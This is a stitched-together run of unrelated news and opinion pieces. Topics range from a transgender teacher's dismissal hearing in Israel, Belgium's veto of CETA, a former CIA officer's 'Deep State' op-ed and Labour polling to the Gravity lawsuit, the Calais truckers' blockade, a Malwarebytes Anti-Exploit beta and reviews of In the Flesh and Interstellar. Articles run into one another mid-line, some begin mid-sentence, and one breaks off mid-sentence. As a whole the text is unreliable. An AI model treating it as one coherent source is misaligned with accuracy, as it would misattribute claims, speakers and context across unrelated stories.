Marina was was shocked to get a hearing summons, which reads: ‘During classes to religious girls designated to to study of mathematics, you stimulated a discussion on religion, parenting and sexual orientation.
‘Discussions on social issues are not part your job description, and that is worse tenfold when it comes to adolescents – in which you lack the adequate training’.
Marina told Channel 2 Israel: ‘I tried to explain that I am a human being just like they are and that it has no bearing on me being professional, and they need to accept people as they are’.
She tried to explain ongoing work with pupils includes small talk, and she refuses to hide her identity, ‘coming out should encourage teachers to come out to students to teachers so that neither teachers nor students feel ashamed of themselves’.
Attorney Moshe Shochetman, of the Aguda, Israel’s LGBT advocacy group, told Channel 2: ‘Its very hard for this woman to find work, this is her bread and butter and she’s very good at it – she is outstanding and has received an award for her work.
‘To cut her off with this pretense is to destroy her livelihood’
CET stated that ‘the fact she was transgender was known before being connected with her.
‘The allegation that due to this CET is considering her dismissal is totally false.
‘She was summoned for a hearing only after she spoke with students she mentored on a subject she had no qualifications in – blatantly violating her job description’.
Channel 2 confirmed that there ‘were no complaints filed against Marina and she claims she even got support from some of the students who she managed to teach a lesson in tolerance and acceptance’.
Commenting on the news, Eran Dey of Israel’s LGBT community Facebook page, told Gay Star News: ‘I think transgender people are the least well treated out of the LGBT community in Israel. Employees make their life a living hell if they even manage to make it through a job interview, due to prejudice.
‘I find it crucial for cases like Marina’s to go before court to ensure that future employers in Israel would treat transgender and genderqueer people with dignity, equality and respect’.
Yadin Sapir, chair of Ha’vanaa, an organization dedicated to fighting against homophobia and transphobia told GSN: ‘Teachers normally talk with their students on personal and news matters, its hard to imagine the converse – a teacher who is not transgender being summoned for a dismissal hearing.
‘It is particularly insulting to hear a claim as if she wasn’t ‘qualified’ to speak with her students; a claim that hints that the fact she’s a transgender woman is ‘embarrassing’ to CET and requires a ‘special qualification’ when it comes to being discussed with students.
‘This highlights the need not only to bring the institution to court but also to conduct diversity training to employers in Israel’.Belgian Prime Minister Charles Michel has said he cannot sign a landmark EU trade agreement with Canada after it was rejected by one of the country’s regions.
After the French-speaking Wallonia region refused to approve the historic deal with Canada, the EU gave Mr Michel until today to turn the situation around.
But talks with Wallonia’s leaders have now broken down, leading Mr Michel to admit: “We are not in a position to sign Ceta.”
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
There is now major doubt over the pact’s future and over whether a special summit will go ahead on Thursday with Canadian President Justin Trudeau.
Socialist-run Wallonia wants stronger safeguards on labour, environmental and consumer standards before giving backing to the pact. Belgium’s federal government cannot agree to the deal without the consent of five regional authorities.
Supporters say Canada and the EU would eliminate 98 per cent of tariffs under the proposals, negotiated over five years between 2009 and 2014.
Europe's failure to sign Ceta was highlighted during the UK's EU referendum campaign as one reason Britain would be better off outside the union.
But it has also been underlined as a sign that the UK will have difficulty organising its own free trade deal with the EU if it leaves the single market after Brexit talks.
We’ll tell you what’s true. You can form your own view.
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Subscribe now.The U.S. intelligence community is in the midst of a severe crisis. It has been used, or perhaps allowed itself to be used, as a tool of political destruction, against some of the same U.S. citizens it was created to protect.
What I am talking about is the continuing “Wiretapgate” debacle. We are seeing the widespread abuse of intelligence by an incumbent administration to target political opposition. Long a technique in the developing world — a tactic I often witnessed as a CIA station chief working abroad — the Third World has come to roost in the United States. It is a tragedy of the first order.
The danger of politicization is widely accepted throughout the intelligence community as the greatest hazard, in theory, to the intelligence profession. If an intel service cannot be accepted as an unbiased arbiter, it loses the trust of its people, and risks becoming irrelevant and unheeded. History is littered with intel failures; one need only look to the invasion of Iraq to see how politicization can lead to costly failure and a “trust gap” that can take years to bridge and resolve.
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Truth, despite the naysayers, is objective and absolute. The intelligence community has a responsibility to provide the most informed truth to the president. The truth, warts and all, will always be the soundest basis for any foreign policy. This is what our multibillion-dollar intel leviathan owes the American people and its government.
It has become clear to the American public, however, that intelligence leadership learned long ago to stop listening to its own philosophy.
The twin serpents of politicization and political correctness — a Soviet term, by the way — walk hand in hand throughout the intelligence community, as well as every other government agency. The PC mindset that now dominates every college campus is also positioned firmly throughout our government — particularly within the intelligence community, which saw its greatest personnel influx ever in the post-9/11 environment. Today’s intelligence community, the average age of which I would estimate at 32, was raised under the beleaguered Bush administration and reached professional maturity primarily under the Obama administration, immersed in a PC environment.
In this PC world, all diversity is embraced — except diversity of thought. Federal workers have been partisan for years, but combined with the rigid Obama PC mindset, it has created a Frankenstein of politicization that has never been seen before.
Watching Evelyn Farkas admit on TV that the Obama administration wanted the intelligence community to “get as much information as you can” before Donald Trump Donald John TrumpREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails Trump urges North Korea to denuclearize ahead of summit Venezuela's Maduro says he fears 'bad' people around Trump MORE took office resembles some sort of social science experiment gone bad — and it frames the problems wrought by PC/political brainwashing. Here a mid-level official, permanently dwelling in a bubble of progressive liberalism, acknowledged being complicit in the breaking of U.S. ethics rules and perhaps law — because, as she explained, that’s what they needed to do!
Farkus has all the right credentials: a Ph.D. and a career shuttling between academia, the government and the press that is the hallmark of the anointed “Washington insider” class. What is lacking, however, is any level of self-awareness, common sense or judgment. She is emblematic of the denizens of the Deep State that everyone in Washington likes to tell us doesn’t exist.
I am here to tell you, having served in the CIA and the Naval Reserve, that the Deep State does indeed exist. And it’s not a bunch of centrally controlled drones in black robes meeting at midnight. The Deep State is made up of thousands of similarly credentialed, remarkably “un-diverse” civil servants and political appointees who saw themselves promoted rapidly during the eight years of the Obama administration. The appointees have left, but make no mistake — the progressive civil servants remain.
There is little doubt that intel leadership saw Obama’s relaxation of rules regulating the sharing of NSA raw intelligence — for which there is NO operational justification — and did nothing. They also saw the Obama administration’s demand for “incidental” collection on the Trump campaign at an unprecedented level — and still they did nothing.
Like some binary poisonous reagent, these dynamics combined to foster an environment ripe for political abuse and leakage — a fairly transparent attempt, from the point of view of any discerning intelligence officer. This weaponization of intelligence for the sake of discrediting the political opposition I have seen in Kosovo, Azerbaijan, Moldova and elsewhere — sadly, it is now on our shores.
The present culture of the intelligence community and the shameless political shenanigans of the Obama administration combined to create this disaster. In earlier times, such a gambit would have failed; CIA leadership famously stood up to the Nixon administration when asked to domestically spy on Justice during Watergate, for example. It seems that today we lack the character and the competence to ensure that the intelligence community honors the trust of the American people.
Scott Uehlinger is a retired CIA station chief and naval officer. A Russian speaker, he spent 12 years working in the former Soviet Union for CIA. In addition to teaching at NYU, he is a frequent TV commentator on National Security and is co-host of the weekly podcast "The Station Chief," available on iTunes or at www.thestationchief.com
The views of contributors are their own and are not the views of The Hill.Not even pledges by menhir could help Ed Miliband win a general election pic.twitter.com/7YVLtPG7xp — TSE (@TSEofPB) January 17, 2016
With Corbyn’s personal polling ranging from the calamitous to the cataclysmic it appears Labour are intent on repeating the mistakes of the 2015 general election
This week sees two important reports published, firstly the BPC inquiry into why the polls were wrong, then there’s the publication of the report by Dame Margaret Beckett into why Labour lost, parts of Beckett’s report has been leaked. The four main reasons Labour lost were
A failure to shake off the myth that the last Labour government was responsible for crashing the economy. An inability to deal with “issues of connection†like immigration and benefits. A fear among voters of the SNP propping up a minority Labour government. Miliband was judged to be not as strong a leader as David Cameron.
The study also found that leftwing policies – such as the energy price freeze, and greater potential to bring railways back into public ownership – were some of the most popular put forward by Miliband, but that there was a lack of a coherent overall narrative.
So this might mean that Corbyn’s left wing policies might not be a voter loser as assumed. He is also no supporter of the economics of the New Labour era, so he might also be able to successfully change the economic narrative about the last Labour government, especially if the UK experiences an economic downturn before the next election.
Where Corbyn will struggle is on points 3 and 4, unless he is the new Blair, he will not achieve the swings to gain Labour a majority, so in 2020 the only way Labour can take power is with the SNP, which won’t be good news for Labour nor Corbyn,
For me the most striking from the report is the section that says the [Labour] party’s failed to connect with demographic groups in the centre. It isn’t a controversial thing to say that Jeremy Corbyn is more left wing than Ed Miliband, so I’m not sure how Corbyn will connect with demographic groups in the centre.
With Corbyn’s personal polling ranging from the calamitous to the cataclysmic predicting the outcome of the 2020 general election is quite easy, as the below tweet from Mike shows, as pretty much all the polling shows the potential next Tory leaders leading Corbyn in the polling, even before we take into account Corbyn’s atrocious polling on matters of national security, as I’m convinced the country won’t make Prime Minister who isn’t trusted to keep the country safe and secure.
My chart on leader ratings being better GE predictor than party shares was shown by @debmattinson at Fabian conf pic.twitter.com/c88gYZoUDG — Mike Smithson (@MSmithsonPB) January 17, 2016
Just look at the response to Corbyn’s interview with Andrew Marr this morning, and imagine a six week |
us three things about America’s approach to space:
The rhetoric of collaboration in the US national space policy notwithstanding, the US actually struggles to collaborate in space matters and values collaboration less than going alone. The US regards space as an environment over which it seeks to maintain its supreme reign. This is best demonstrated by having the best and brightest manned space program on Earth. This supremacy in space is the overriding political and strategic objective of the Obama administration, with astronomy and planetary science running a poor second.
Some commentators have already been fast to criticise the cuts, suggesting they are minimal relative to the buckets of money lavished on the US defence establishment (which include classified and unclassified space programs).
Others have raised the multiplier argument pointing out that for every dollar invested in NASA, many other dollars (some say seven, some say up to 23) are returned to the economy.
These arguments miss the point. For all the good that NASA may have done in the past, today it’s an agency that can’t explain in simple, clear and compelling terms, what it does, what it seeks to do and why.
NASA needs to explain to politicians and voters how its aims and aspirations relate to the life of the US as a nation and to each of its citizens. If it can’t, it will remain a relic of the Cold War, trying to re-discover its mojo through projects and programs that have little relevance to science, some relevance to complex engineering and considerable relevance to America’s view of itself as the traditional owner of space.
MGM
Such ambitions expose the agency to a slow and painful death.
If NASA is to restore its self-respect and, eventually, the faith of others in the Agency as an organisation which stretches boundaries and empowers innovators, it needs to make some serious changes.
For a start, NASA needs to embrace collaboration with China and other spacefaring nations – something that’s been limited thus far.
The agency also needs to approach Congress and the Obama Administration about the negative impacts on US science, technology and innovation created by the extremely strict laws which seek to prevent US space technologies from being available to others.
These laws stifle innovation and put a real brake on US industries and companies.
It’s also important for NASA to re-educate the American people about the its role in the modern era. The notion of the US’s supremacy as a nation-state – which was at the heart of NASA’s funding and success in the Cold War – is becoming unimportant, if not irrelevant. Such a view now serves to hamper not just NASA but the US as a whole.
The big challenges of the 20th century were technological, within the structure of a relatively stable nation states system. The big challenges of the 21st century relate to NASA’s complexity as an organisation and the changing structure of international space efforts.
In this there is a huge role for NASA, should it have the courage to take such a vision to the president, the Congress and the US taxpayer.The judge rules that Tess Gerritsen hasn't alleged a plausible theory on why the studio holds any obligation toward her.
A judge has just grounded Tess Gerritsen's lawsuit that Warner Bros. breached the terms of a 1999 deal by coming out with its blockbuster film Gravity, calling the allegations "entirely speculative."
In 1999, Gerritsen wrote a book titled Gravity and sold film rights to Katja, a company owned by New Line, now a subsidiary of Warner Bros., for $1 million plus a $500,000 production bonus and 2.5 percent of defined net proceeds if the movie was ever made. In her April 2014 lawsuit, she claimed that the Alfonso Cuaron film was derived from her 1999 book and thus the film company owed her at least $10 million in damages on a movie that grossed more than $700 million in box office and won seven Oscars.
In her lawsuit, Gerritsen also asserted that Cuaron was attached at one point to write a screenplay based on her book and that in addition to the similarities between her book and the film, she wrote additional scenes in which satellite debris collided with the International Space Station, leaving its female doctor-astronaut drifting in a space suit searching for ways to return to Earth.
Warner Bros. threw up objections to the lawsuit for lack of a contract between her and the studio. The defendant also aimed to undercut Gerritsen's contention that New Line and Katja are "shells" through which Warner Bros. does business.
U.S. District Judge Margaret Morrow distinguishes between the galaxies.
"Even when her allegations are construed in Gerritsen's favor, it is apparent that she cannot plausibly allege a claim under traditional contract law theories," writes the judge. "Gerritsen pleads that she entered into contracts with Katja and New Line that entitled her to payment if Katja produced a motion picture based on her book; and that WB, not Katja, produced the Film that is allegedly 'based on' the Book. No plausible inference arises from these allegations that WB was a party to the contracts or that Katja produced the Film."
In the decision (below), Judge Morrow also can't find alternative theories of Warner Bros.' liability.
For example, to the theory that the studio is the "successor-in-interest" to Katja's and New Line's obligations, the judge says it's "largely conclusory" that those obligations were assigned to Warner Bros. as part of the 2008 deal to acquire New Line. Nor can Gerritsen establish that the Warner Bros./New Line/Katja consolidation involved the transfer of assets for the fraudulent purpose of escaping liability. The judge says there are no facts to support this allegation.
Gerritsen comes back to Earth in alleging that Warner Bros. and the companies she did a deal with are "alter egos" of each other.
"Gerritsen alleges no facts showing that New Line and Katja are'shell corporations,' nor does she plead facts showing that WB directs New Line's and Katja's business activities," writes Morrow. "Similarly, Gerritsen does [not] detail how it is that WB exercises complete management, control, ownership and domination over New Line and Katja. Without a factual basis, her conclusory allegations are insufficient."
The judge dismisses Gerritsen's complaint and is giving her 20 days to file an amended lawsuit, without new claims (like copyright infringement) but with an opportunity to cure the deficiencies. However, the judge refused to permit discovery after not being impressed by the sufficiency of the first attempt's conclusory allegations. If Gerritsen could support her claims against Warner Bros., she probably would have done so already. It may not be totally over. But for now, it's looking that way.
In a statement, Warner Bros said, "We are very gratified by the court’s ruling, as there is no merit to these claims. As the plaintiff herself has admitted, 'Yeah, Gravity is a great film, but it's not based on my book."
Email: Eriq.Gardner@THR.com
Twitter: @eriqgardnerPRESIDENT Obama has secretly sanctioned a huge increase in the number of US special forces carrying out search-and-destroy missions against al-Qaeda around the world, with American troops now operating in 75 countries, The Times reported.
The dramatic expansion in the use of special forces, which in their global span go far beyond the covert missions authorised by George W. Bush, reflects how aggressively the President is pursuing al-Qaeda behind his public rhetoric of global engagement and diplomacy.
When Mr Obama took office, US special forces were operating in fewer than 60 countries.
In the past 18 months he has ordered a big expansion in Yemen and the Horn of Africa - known areas of strong al-Qaeda activity - and elsewhere in the Middle East, central Asia and Africa.
According to The Washington Post, Mr Obama has also approved pre-emptive special forces strikes to disrupt terror plots, and has given the units powers and authority that was not granted by Mr Bush when he occupied the White House.
It also emerged yesterday that Robert Gates, the US Defense Secretary, has ordered the Pentagon to find savings of more than $US100 billion over the next five years to redistribute more funds for combat forces - including special operations units.
Mr Gates has called on all departments to come up with proposals by July 31, and is initially demanding $7 billion in cuts and efficiencies for the 2012 fiscal year, and further cuts each year up to 2016.
The effort to provide more money for combat forces in Afghanistan and Iraq - including special operations units - is likely to lead to a clash with Congress, and also with the defense industry if favoured equipment programs are scrapped.
The aggressive secret war against al-Qaeda and other radical groups has coincided with a surge in the number of US drone attacks in the lawless border region between Pakistan and Afghanistan, an al Qaeda and Taliban haven, since Obama took office.
Read more of this article at the Times Online.A waiter from Memphis, Tennessee, was shocked to find a racist note written at the top of a check in lieu of a tip: "We don't tip white ppl! LOL," said the handwritten note.
On the Border Mexican Grill & Cantina waiter Nathan Bergeron said he received the note last week from a married couple he was waiting on. The couple, who brought along their teenage child, racked up a bill around $50 and left no tip.
“I was more shocked,” Bergeron told WATN. “The fact that they would be so blatant and put it out there.”
“I treated that table no differently from anyone else,” he insisted.
After work, Bergeron sent a photo of the note to a few friends, finding humor in the absurdity of the situation. One friend, Brandy Sciara, did not find the situation humorous; she was appalled by the racism. She posted the photo to social media to bring "awareness" to the incident.
“He’s a good person. He goes to work, does his job,” said Sciara. “When I saw the comment I cried. I was always told, ‘If you have nothing nice to say, don’t say it at all.'”
The friend also created a GoFundMe page for Bergeron, which has raised a stunning $7,500-plus for the waiter, far exceeding the initial $500 goal.
“Community support has been wonderful,” Sciara stated. “Everyone is standing behind Nathan.”
As for Bergeron, he says he won't let the incident bring him down.
“I’m not going to let this bring me down,” said the waiter. “I love what I do. I get to meet new people every day and interact with people from all different backgrounds.”
WATCH:A fare-hike protest that began outside the Park Street T stop this evening ended at Chinatown station on the Orange Line, where 25 protesters held open the fare gates on the inbound side and cheered when maybe 10 people went through the open gates - although some pressed their Charlie Cards to the readers anyway.
An MBTA CSA stood discretely in the distance as the evasion went on. An Oak Grove train came into the station and the protesters got on. Just as the train pulled out of the station, a contingent of T cops arrived.
To get from Park Street to Chinatown, the protesters marched through Downtown Crossing. At Washington and Winter, they briefly stopped to protest. "Mic check!," one woman yelled. "Downtown Crossing, are you listening?" For the most part, no, Downtown Crossing wasn't listening; people just continued on their way.The Californian has now won medals at six Olympics, and she is happy to use her platform to discuss gun control in the United States
On Friday afternoon, American shooter Kim Rhode held her bronze. It was her sixth medal won across six Olympics on four continents, and she could feel the tears stinging her eyes. In front of her fluttered the US flag, confirmation she is now the first woman to win medals in six straight summer Olympics - her first was a gold back in 1996. Behind her fluttered an Olympic flag at half-mast to honor a Brazilian soldier killed in another spate of Rio gun violence. And those two worlds are forever complicating one of the US’s most-accomplished athletes.
She is a star shooter and a devoted gun advocate. These facets have become an inseparable part of her identity. Once, her medal celebrations were about her performance on the mat. But in a post-Newtown, post-Aurora America, her Olympics are about the gun she fears is being pulled from her hand
Rio 2016: top American Olympic shooter Kim Rhode attacks gun control laws Read more
And so on the day she made history she was talking politics in a tent 6,000 miles away from her Southern California home.
“Well I think it kind of says it for itself,” she said. “I’m definitely Trump! He’s very much for the Second Amendment.”
Soon there came more questions...
Do you support Trump solely because of guns?
“It’s a list of things yes, it’s not just one thing but you have to take a candidate in all. But definitely Second Amendment is a big one for me, being that’s how I make my livelihood and something that is so passionate and important for me and my family for generations. Heck, I had family that was one of the 25 hand-picked men that was picked to go in and save Custer and Custer’s battlefield.”
But as a female athlete who just made Olympic history wouldn’t you want a woman president?
“You know I mean definitely having a [female] president would be incredible just not Hillary,” she said.
Then Rhode laughed. Somehow the afternoon had gotten so far from the medal that she still wore around her neck. She speaks about guns with such calm and conviction, inviting questions with a hearty welcoming smile, she almost lures outsiders into a friendly debate. She does not complain that her Olympic press conferences have turned into discussions on gun control; she seems to like to use them as a way of advocating against laws she finds intrusive.
She also startled a French reporter when she told him that she has her three-year-old son in a youth programs with the National Rifle Association. “I’m covering all the bases,” she said in terms of introducing him to guns.
Getting to that press conference was not a certainty, however. Her medal was not assured. Unlike some Olympic sports, shooting can be an unpredictable event where factors like sun, wind and temperature can affect competitors. Her field was filled with talented shooters, and there was little room for imperfection. The shooting centre is located in a barren, hilly region on Rio’s west side. On Friday a steady breeze taunted the shooters who also struggled to spot the discs against the distant hills. As the sun moved in and out of clouds, some of the shooters changed the filters in their glasses hoping to better see the targets.
Rhode told herself to “keep aiming for the front” of the discs, and she hit enough to find herself in a tie for third with Wei Meng of China. Personal Jesus and Smooth Criminal played softly on the loudspeakers as the two women battled. Rhode said she did not hear the songs: she was too locked in on her task. Throughout the afternoon she said she constantly thought about the sixth Olympic medal that she desperately wanted. Her history is such a part of her identity that her personal email even has a “5x” in it – a reference to her five straight medals before Friday.
For a while Rhode and Wei were locked in a tight battle, neither woman giving in. She said she tried to listen to the crowd in the stands behind her cheering every hit and going “ooooohhhhhhh,” when she missed. “It’s almost like they are helping you to pull the trigger every time out there,” she said. Finally she pulled away by one hit. When it was over and history had been made she smiled. She waved to the crowd, found her son and tears formed in her eyes.
“Standing up there on that podium it’s addicting,” she said. “It has me coming back again and again. Every emotion hits you at once. You want to run, scream, cry and you just don’t know which one to do first and it doesn’t matter if it’s a gold, silver, bronze it’s the journey. My journey was a long one this time and I got a little emotional. I’m still emotional and it’s incredible.”
Then soldiers from both the US and Italy brought the flags and they were raised and the medal became official. And the woman who made history for America walked toward an interview tent where she would wade once more into the gun debate, and endorse for president a man who has made her homeland a very divided place.French truckers who planned to cause chaos at the port of Calais have had their protest against the Jungle migrant camp branded a flop as holidaymakers have been simply diverted around their roadblock.
The town, in nothern France, had been bracing itself for a week of severe distruption after truckers, farmers and business owners vowed to cut off the port in protest at the makeshift migrant camp.
However, it has been revealed that people driving to Calais to pick up ferries to bring them back across the English Channel to Dover are just being sent on a diversion, which adds just 21 minutes to their journey time.
Harbour workers, shop keepers and residents march together in a human chain protest in Calais to demonstrate against the migrant Jungle camp. They carried a banner saying reading 'My harbour is beautiful, My city is beautiful'
French business owners and local residents block the main road leading to the port of Calais this morning
The human chain of locals and business owners march on the motorway leading to the Port of Calais
Many of the people taking part in the human chain blockage wore fluorescent jackets and special T-shirts
Protesters blockade the road leading to the French port by waving flags and holding flares in the air
A crowd cheers with French flags as a trucker blocks the highway near Calais, northern France
Hot dogs and refreshments are offered to people taking part in a blockade around the port of Calais in France
The human chain of people were strung right out across the carriageway to stop any traffic
Meanwhile ferry operator DFDS Seaways said even with the diversions, all of their sailings were running to schedule.
There had also been fears that the blockade would also cause chaos in Kent, if ferries were to stop running, forcing Operation Stack on the M20 to be put into place.
But with sailings running on time, the M20 was also operating as normal.
The protest began this morning under light rain when around 80 trucks began a 'go-slow' on the A16 motorway - the main artery for freight and passengers heading for Britain either via the port or Channel Tunnel.
Farmers also joined the demonstration on their tractors as up to 500 people joined a 'human chain' protest in the blockade dubbed 'Operation Snail'.
Despite the road blockades on the A16, motorists to the ferry port were put on a diverted route which only added 20 minutes to their journeys
Trucks came to a standstill at the end of the highway with one tipping its tank towards the ground
French truckers begin their 'go-slow' blockade of the main motorway leading from Loon Plage to the port of Calais
A group of farmers and tractors abandoned their vehicles on the road to stop traffic from moving
Lorries, cars and tractors joined together for the go-slow leading towards the French port
Traffic came to a crawl on the A16 motorway as the 'go-slow' protest began against the Jungle migrant camp
The column will meet up with the convoy coming from the opposite direction and block access to the port
As the human chain blocked the carriageway, the protesters waved banners against the the Jungle camp
Many displayed the tricolour flag, or signs saying 'I love Calais' in French as they formed a barrier to any traffic coming along the A16.
The truckers insist they will keep protesting until they receive a date when the Jungle camp, now home to 10,000 migrants, will be torn down.
Local residents also say they makeshift camp is a blight on their businesses, and that those living there are involved in every kind of crime, from theft to attacking delivery lorries and trespassing on farm land.
They are also demanding that British authorities stop fining drivers £2,000 per migrant found in their lorries.
Frederic Van Gansbeke, who represents business and shop owners in Calais, said: 'We've had no answers, so we're blocking things up.'
Three women sit at the side of the road before forming the human chain wearing 'I love Calais' T-shirts
A man wearing a T-shirt reading 'I love Calais' stands among trucks as a dozen of truck drivers gather in a car park
One of the protesters distributes T-shirts with the 'I love Calais' slogan on them before forming the human chain
While Nicolas Lotin, who runs a logistics company in nearby Boulogne-sur-Mer added: 'Every day, we have to wonder whether our working day will be ruined, whether a migrant will sneak under the truck's canvas.
'If the goods are damaged, they have to be immediately transported back to the home depot.'
Britons Matthew and Helen Bolton got lost trying to find their way to the Channel Tunnel.
The couple, from the Wirral, were on their way back from a camping holiday with their three young children when they were diverted by police.
Mr Bolton, 33, said: 'We have no idea where we're going, we're trying to get to the Tunnel.
'Basically what the police have done is just block the road and not told you where to go - that's what we're a bit miffed by really.'
French interior minister Bernard Cazeneuve pledged on Friday to dismantle the Jungle 'by the end of the year'
French farmers also began to gather with their tractors near the town of Marck as they too plan to join in with the blockade
Farmers also took part in the blockade and used their tractors to slow down traffic on the motorway
The blockade will cause misery for thousands of Britons heading for Calais returning from holidays today and the Foreign Office warned them to 'prepare for delays'
French interior minister Bernard Cazeneuve pledged on Friday to dismantle the Jungle 'by the end of the year'.
But the truckers want him to come up with an exact timetable.
Migrants have resorted to increasingly violent measures to try to get on to UK-bound trucks.
ARE YOU CAUGHT UP IN THE TRAFFIC CHAOS IN CALAIS? Send your pictures to jennifer.newton@mailonline.co.uk
David Sagnard, of France's National Federation of Lorry Transport, said: 'Do we have to risk our lives on the motorway through doing our work?'
But Charlie Elphicke, Tory MP for Dover and Deal, said the blockade 'will achieve nothing other than chaos on the roads'.
He has written to Home Secretary Amber Rudd to make sure there is a 'robust plan' to prevent a repeat of the traffic chaos in Kent in July, caused by a lack of French border staff at Dover.
The first of the French truckers arrive at a car park in Loon Plage early this morning before beginning their go-slow into Calais
Under light rain, around 70 trucks began a 'go-slow' on the A16 motorway - the main artery for freight and passengers heading for Britain either via the port or Channel Tunnel
The truckers are also demanding that British authorities stop fining drivers £2,000 per migrant found in their lorries
A French policeman stands guard as a dozen truck drivers gather prior to a go-slow on the main motorway into Calais
Richard Burnett, of the Road Haulage Association, said the protesters were 'in it for the long haul', adding that it will bring 'further misery' for British hauliers and locals in Kent.
He explained: 'It seems certain that traffic crossing from the UK will find it almost impossible to leave the port as access to the A16 is denied.
'The inevitable repercussions of this will surely mean that the authorities on this side of the Channel will have no alternative but to deploy Operation Stack.
The truckers insist they will keep protesting until they receive a date when the Jungle camp, pictured, now home to 10,000 migrants, will be torn down
Charlie Elphicke MP, wants to make sure there is a 'robust plan' to prevent a repeat of the traffic chaos in Kent in July (pictured), caused by a lack of French border staff at Dover
Migrants have resorted to increasingly violent measures to try to get on to UK-bound trucks
'This will bring yet further misery to hauliers bound for mainland Europe and of course for the people and businesses of Kent.'
However, among those supporting the protest was Calais mayor Natacha Bouchart who said: 'There might be chaos and disorder on Monday but this is for a good cause. We want things to change.
'There is chaos every day and every night. We want the French government to take its responsibilities and put an end to this particularly difficult time we are facing.' Criminal gangs are adopting new methods to smuggle migrants into the UK – including throwing items at cars to try to make them crash.
Are you stuck in traffic caused by the blockade of the port of Calais? Send your pictures to jennifer.newton@mailonline.co.ukWhen ZeroVulnerabilityLabs' ExplotShield was first released back in September of 2012 it made quite the big splash on the Internet. The application shields core applications and processes like Java, web browsers, and system components such as Windows Help against exploits.
My first thought back then was that it was an alternative to Microsoft's excellent EMET until one of the developers confirmed that it was using different techniques and that you could run both programs side by side on the PC to benefit from them both at the same time.
Malwarebytes acquired ExploitShield recently and has hired the two-man team that developed the application in first place into the company as well. Malwarebytes Anti-Exploit is a rebranded version of the ExploitShield application that has just been released as a first beta.
What may be interesting is that the beta makes available all features of the program's corporate edition now, meaning that it is not only protecting web browsers anymore but also other core applications running on the system.
Note: The beta is time-limited. It will expire on December 31, 2013. The developers have stated however that they plan to release the final version of the product before the expiration date. It is not clear how the final product will look like though, the most likely scenario however is that there will be a free and pro version just like Malwarebytes Anti-Malware.
The acquisition by a respected company such as Malwarebytes certainly strengthens the claims the developers made previously. The program has not only received praise in the past though but also criticism.
What is clear is that Anti-Exploit uses different mechanics to protect the computer system. Where EMET attempts to block attempts to exploit programs it protects on the system, Anti-Exploit tries to block the execution of payloads on the system.
The conclusion is that it will protect systems effectively against exploits that use certain technologies to attack a system.
The application itself is lightweight and runs as-is after installation. You cannot modify the programs that are shielded as of now. The list includes all four major web browsers for Windows (Firefox, Chrome, Opera and Internet Explorer), Java, Adobe Reader, Microsoft Office applications, Windows Script Host, and various media players. Options to control the list will be added in future versions.
You can download the latest version of the application from the official Malwarebytes forum.
AdvertisementThe terrifying and depressing new BBC series In the Flesh delivers an original take on the often-tired zombie metaphor. In this post-apocalyptic tale, the world fell prey to a zombie plague — until scientists figured out a medication that rehabilitates many who suffer from "partial death syndrome." The problem? Humans aren't ready to welcome these former brain-eating monsters back into their communities.
Spoilers ahead.
The series focuses on one rehabilitated zombie, Kieran, a sensitive young man who rose from the dead after committing suicide over the death of his best friend. He's wracked with guilt over what he did as a zombie, and suffers traumatic flashbacks to murdering a young woman. His conflicted feelings are only compounded when he discovers that his small town was ground zero of the HVF, or human volunteer force, which rose up to fight the zombies when the government's resources fell short. And his beloved sister, Jem, was one of the most ardent HVF fighters. Though his parents welcome him back home — as long as he receives his daily spinal injection to keep his brain de-zombified — his sister has issues.
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Meanwhile, the town's church leaders are hellbent on eradicating any "partly dead" in their midst. And they have powerful allies in the HVF, which has officially been disbanded but continues in semi-secret. Meanwhile, one of Kieran's friends from the PDS rehab facility has told him about an underground undead preacher, who wants the zombies to revolt against their human oppressors.
There's an interesting turnabout in this zombie tale, where the once-deadly monsters are now the victims of humans. Kieran and his family watch in horror as a nice old lady across the street is murdered by the HVF — just for being an ex-zombie. Though it's technically illegal to murder zombies, nobody is willing to enforce the laws out in the country. So Kieran has to face the demons in his blood-soaked memories, as well as the bloodthirsty townsfolk who were once his friends.
I think what's most interesting about the series is the way it serves as a metaphor for what happens to people who are mentally ill when they try to return to their old lives after a breakdown. There are shades of Silver Linings Playbook here, with Kieran taking his awful meds and struggling to feel normal. But it's also about the rehabilitation of violent criminals. Should a guy who ate an innocent woman's brain really be allowed to roam free, even if he's heavily medicated and "cured" of his syndrome? After all, the HVF aren't like the KKK — they were defending the town from actual danger, not racist phantoms. They had to kill to survive. And there are no guarantees that the zombie "cure" will work in the long term.
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In the Flesh has set up a riveting monster story that poses some disturbing ethical questions. Check it out on BBC Three in the UK.Image of a black hole in the film Interstellar. Insterstellar Movie Soon, astrophysicists will receive a physics lesson from an unlikely source: Hollywood.
The movie-making business has, unintentionally, helped make something more: a scientific discovery. One that you can experience first-hand in the film "Interstellar," coming out in US theaters everywhere on Friday, Nov. 7.
In the film, a crew of explorers travel through a wormhole to reach distant worlds orbiting other stars. Along the way, they cross paths with a monstrous, spinning black hole.
More impressive than the beauty of the black hole, is that this stunning rendition is the most scientifically accurate image of a spinning black hole ever created.
"Neither wormholes nor black holes have been depicted in any Hollywood movie in the way that they actually would appear," Kip Thorne said in a promotional video from Warner Bros UK.
"This is the first time the depiction began with Einstein's general relativity equations," Thorne said.
Kip Thorne working out equations for computing the image of a black hole. Wired Thorne is an American theoretical physicist who has written academic books on general relativity, collaborated with Carl Sagan and Stephen Hawking, and is one of the world's leading experts on all things gravitational.
He is also the executive producer and scientific consultant for the film. It took Thorne's intellect, 30 special effects experts, thousands of computers, and a year of hard work to produce the black hole audiences see in the film.
You'd think that a black hole — which traps everything, including light — would be invisible. But that's not true.
If you could look at a black hole at different angles, you would see a strange warping motion of the background starlight. This is because black holes warp the space around them, so what you're seeing is an altered version of the real thing — similar to how you see a distorted image of an object when it's immersed in water. See an animation of this warping below:
Animation of a black hole warping the space and imagery around it. Warner Bros. UK Physicists know from Einstein's general theory of relativity that a spinning black hole — like the one in the film — warps space differently than a stationary black hole. This process is called frame dragging.
Based on what we understand about frame dragging, Thorne and the special effects team thought that the image they would get out of their computations would be a bright band of light, or disc, around the equator of the spherical-shaped of the black hole. In fact, the wobbling of such a disc led to the first observations of frame dragging in the 90s.
What they saw, however, was something completely different and far more beautiful: Breath-taking circular halos of light across the top and bottom of the black hole, shown below.
